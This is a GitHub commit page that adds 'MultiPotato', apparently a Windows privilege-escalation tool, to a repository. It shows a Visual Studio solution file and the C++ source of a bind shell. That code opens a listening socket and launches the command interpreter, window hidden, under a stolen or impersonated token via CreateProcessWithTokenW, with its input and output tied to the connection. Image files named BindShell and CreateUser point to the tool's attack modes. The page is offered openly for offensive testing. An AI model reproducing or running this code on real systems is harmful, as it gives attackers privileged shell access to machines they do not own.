Skip to content

Commit

Permalink
Add MultiPotato
Browse files Browse the repository at this point in the history
Add MultiPotato
  • Loading branch information
Al1ex authored Nov 29, 2021
1 parent bec0432 commit f08b56e
Show file tree
Hide file tree
Showing 37 changed files with 2,217 additions and 0 deletions.
Binary file added MultiPotato/Images/BindShell.PNG
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added MultiPotato/Images/BindShell2.PNG
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added MultiPotato/Images/CreateProcessAsUserW.PNG
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added MultiPotato/Images/CreateUser.PNG
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
674 changes: 674 additions & 0 deletions MultiPotato/LICENSE

Large diffs are not rendered by default.

31 changes: 31 additions & 0 deletions MultiPotato/MultiPotato.sln
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29230.47
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MultiPotato", "MultiPotato\MultiPotato.vcxproj", "{61CE6716-E619-483C-B535-8694F7617548}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{61CE6716-E619-483C-B535-8694F7617548}.Debug|x64.ActiveCfg = Debug|x64
{61CE6716-E619-483C-B535-8694F7617548}.Debug|x64.Build.0 = Debug|x64
{61CE6716-E619-483C-B535-8694F7617548}.Debug|x86.ActiveCfg = Debug|Win32
{61CE6716-E619-483C-B535-8694F7617548}.Debug|x86.Build.0 = Debug|Win32
{61CE6716-E619-483C-B535-8694F7617548}.Release|x64.ActiveCfg = Release|x64
{61CE6716-E619-483C-B535-8694F7617548}.Release|x64.Build.0 = Release|x64
{61CE6716-E619-483C-B535-8694F7617548}.Release|x86.ActiveCfg = Release|Win32
{61CE6716-E619-483C-B535-8694F7617548}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {A694ADAA-6E50-45F0-8643-B93982C04683}
EndGlobalSection
EndGlobal
74 changes: 74 additions & 0 deletions MultiPotato/Multipotato/Bind.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
#include <WS2tcpip.h>

#include "Bind.h"
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib")

BindShell::BindShell()
{

}

BindShell::~BindShell()
{
WSACleanup();
}

int BindShell::Run(unsigned short port, HANDLE token)
{
WSADATA WSAData;
SOCKADDR_IN sin;
SOCKET sock;

if (!WSAStartup(MAKEWORD(2, 0), &WSAData))
{
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK); // INADDR_ANY
sin.sin_port = htons(port);

if (!bind(sock, (SOCKADDR*)&sin, sizeof(SOCKADDR_IN)))
{
listen(sock, SOMAXCONN);

SOCKET tmp = accept(sock, 0, 0);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
wchar_t buff[2010];

si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = (HANDLE)tmp;
si.hStdError = (HANDLE)tmp;
si.hStdInput = (HANDLE)tmp;

GetEnvironmentVariable(L"COMSPEC", buff, 2000);

bool b1 = CreateProcessWithTokenW(token,
0,
buff,
NULL,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi);


if (b1)
{
printf("[*] BindShell opened on Port %d !\n", port);
}

WaitForSingleObject(pi.hProcess, INFINITE);

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

closesocket(tmp);
}
}

return 0;
}
10 changes: 10 additions & 0 deletions MultiPotato/Multipotato/Bind.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
#pragma once

class BindShell
{
public:
BindShell();
~BindShell();

int Run(unsigned short port, HANDLE token);
};
Loading

0 comments on commit f08b56e

Please sign in to comment.